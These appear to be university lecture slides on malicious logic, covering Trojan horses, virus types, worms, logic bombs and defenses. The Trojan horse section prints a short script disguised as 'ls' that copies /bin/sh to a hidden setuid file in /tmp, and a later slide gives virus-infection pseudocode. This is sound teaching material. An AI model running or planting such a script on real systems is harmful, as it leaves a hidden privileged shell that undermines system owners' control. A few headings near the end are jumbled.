20CB620 Unit 4
20CB620 Unit 4
UNIT - 4
Malicious Logic
Computer viruses, worms, and Trojan horses are effective tools
with which to attack computer systems.
They assume an authorized user’s identity.
This makes most traditional access controls useless. This
chapter presents several types of malicious logic,focusing on
Trojan horses and computer viruses, and discusses defenses.
Malicious logic is a set of instructions that cause a site’s
security policy to be violated
Trojan Horses
A critical observation is the notion of “tricked.” Suppose the user root
executed the script unintentionally (for example, by typing “ls” in the
directory containing this file).
cp /bin/sh /tmp/.xxsh
chmod u+s,o+x /tmp/.xxsh
rm ./ls
ls $*
This would be a violation of the security policy. However, if root
deliberately typed the security policy would not be violated.
Trojan Horses
A Trojan horse is a program with an overt
(documented or known) effect and a covert
(undocumented or unexpected) effect.
In the preceding example, the overt purpose is to list
the files in a directory. The covert purpose is to create
a shell that is set uid to the user executing the script.
Hence, this program is a Trojan horse
Trojan Horses
Trojan horses can make copies of themselves. One of the
earliest Trojan horses was a version of the game .
When this game was played, it created an extra copy of itself.
These copies spread, taking up much room.
The program was modified to delete one copy of the earlier
version and create two copies of the modified program
A propagating Trojan horse (also called a replicating
Trojan horse) is a Trojan horse that creates a copy of itself.
Computer Viruses
VIRUS – Vital Information Resources Under Siege
It refers to the type of malicious software or malware
that can cause damage to your data, files, and software
through replication.
A computer virus is a program that inserts itself into one
or more files and then performs some (possibly null)
action
The first phase, in which the virus inserts itself into
a file, is called the insertion phase.
The second phase, in which it performs some
action, is called the execution phase.
The following pseudocode fragment shows how a
simple computer virus works
beginvirus:
if spread-condition then begin
for some set of target files do begin
if target is not infected then begin
determine where to place virus instructions
copy instructions from beginvirus to endvirus
into target
alter target to execute added instructions
end;
end;
end;
perform some action(s)
goto beginning of infected program
endvirus:
Boot Sector Infectors
The boot sector is the part of a disk used to bootstrap
the system or mount a disk.
Code in that sector is executed when the system
“sees” the disk for the first time
When the system boots, or the disk is mounted, any
virus in that sector is executed
A boot sector infector is a virus that inserts itself into
the boot sector of a disk
Boot Sector Infectors
EXAMPLE: The Brain virus for the IBM PC is a boot sector
infector.
When the system boots from an infected disk, the virus is in
the boot sector and is loaded. It moves the disk interrupt
vector (location 13H or 19) to an alternative interrupt vector
(location 6DH or 109) and sets the disk interrupt vector
location to invoke the Brain virus now in memory.
It then loads the original boot sector and continues the
boot.
Executable Infectors
An executable infector is a virus that infects
executable programs.
The PC variety of executable infectors are called
COM or EXE viruses because they infect programs
with those extensions. Figure illustrates how infection
can occur. The virus can prepend itself to the
executable (as shown in the figure) or append itself.
Executable Infectors
Executable Infectors
EXAMPLE: The Jerusalem virus (also called the Israeli
virus) is triggered when an infected program is executed.
The virus first puts the value 0E0H into register ax and
invokes the DOS service interrupt (21H). If on return the
high eight bits of register ax contain 03H, the virus is
already resident on the system and the executing version
quits, invoking the original program. Otherwise, the virus
sets itself up to respond to traps to the DOS service
interrupt vector
Multipartite Viruses
A multipartite virus is one that can infect either
boot sectors or applications
Such a virus typically has two parts, one for each
type. When it infects an executable, it acts as an
executable infector; when it infects a boot sector,
it works as a boot sector infector.
TSR Viruses
A terminate and stay resident (TSR) virus is one that stays active
(resident) in memory after the application (or bootstrapping, or disk
mounting) has terminated.
TSR viruses can be boot sector infectors or executable infectors.
Both the Brain and Jerusalem viruses are TSR viruses.
Viruses that are not TSR execute only when the host application is
executed (or the disk containing the infected boot sector is
mounted).
An example is the Encroacher virus, which appends itself to the
ends of executables
Stealth Viruses
Stealth viruses are viruses that conceal the infection of files.
These viruses intercept calls to the operating system that
access files.
If the call is to obtain file attributes, the original attributes of
the file are returned. If the call is to read the file, the file is
disinfected as its data is returned.
But if the call is to execute the file, the infected file is
executed.
Encrypted Viruses
Computer virus detectors often look for known
sequences of code to identify computer viruses.
To conceal these sequences, some viruses encipher
most of the virus code, leaving only a small decryption
routine and a random cryptographic key in the clear.
An encrypted virus is one that enciphers all of the
virus code except for a small decryption routine.
Encrypted Viruses
Polymorphic Viruses
A polymorphic virus is a virus that changes its form each time it
inserts itself into another program
Consider an encrypted virus. The body of the virus varies depending
on the key chosen, so detecting known sequences of instructions will
not detect the virus. However, the decryption algorithm can be
detected.
Polymorphic viruses were designed to prevent this.
They change the instructions in the virus to something equivalent but
different. In particular, the deciphering code is the segment of the
virus that is changed. In some sense, they are successors to the
encrypting viruses and are often used in conjunction with them.
Macro Viruses
A macro virus is a virus composed of a sequence of
instructions that is interpreted, rather than executed directly.
Conceptually, macro viruses are no different from ordinary
computer viruses.
They can execute on any system that can interpret the
instructions. For example, a spreadsheet virus executes when the
spreadsheet interprets these instructions.
If the macro language allows the macro to access files or other
systems, the virus can access them, too.
Computer Worms
A computer virus infects other programs. A variant
of the virus is a program that spreads from
computer to computer, spawning copies of itself
on each one
A computer worm is a program that copies
itself from one computer to another
Other Forms of Malicious Logic
Rabbits and Bacteria
• Some malicious logic multiplies so rapidly that resources
become exhausted. This creates a denial of service attack
• A bacterium or a rabbit is a program that absorbs all of some
class of resource
• A bacterium is not required to use all resources on the system.
• Resources of a specific class, such as file descriptors or process
table entry slots, may not affect currently running processes.
They will affect new processes
Other Forms of Malicious Logic
Logic Bombs
• Some malicious logic triggers on an external event, such as a
user logging in or the arrival of midnight
• A logic bomb is a program that performs an action that violates
the security policy when some external event occurs.
Defenses
Defending against malicious logic takes
advantage of several different characteristics of
malicious logic to detect, or to block, its execution.
The defenses inhibit the suspect behavior
Malicious Logic Acting as Both Data
andacts
Some malicious logic Instructions
as both data and instructions.
A computer virus inserts code into another program. During
this writing, the object being written into the file is data.
The virus then executes itself. The instructions it executes
are the same as what it has just written.
Here, the object is treated as an executable set of
instructions.
Protection mechanisms based on this property treat all
programs as type “data” until some certifying authority
changes the type to “executable”
Malicious Logic Assuming the
Identity of a User
Because a user (unknowingly) executes malicious
logic, that code can access and affect objects
within the user’s protection domain.
So, limiting the objects accessible to a given
process run by the user is an obvious protection
technique.
Malicious Logic Assuming the
1.
Identity of
Information Flow Metrics
a User
Define the flow distance metric fd(x) for some information x
as follows. Initially, all information has fd(x) = 0. Whenever x is
shared, fd(x) increases by 1. Whenever x is used as input to a
computation, the flow distance of the output is the maximum
of the flow distance of the input.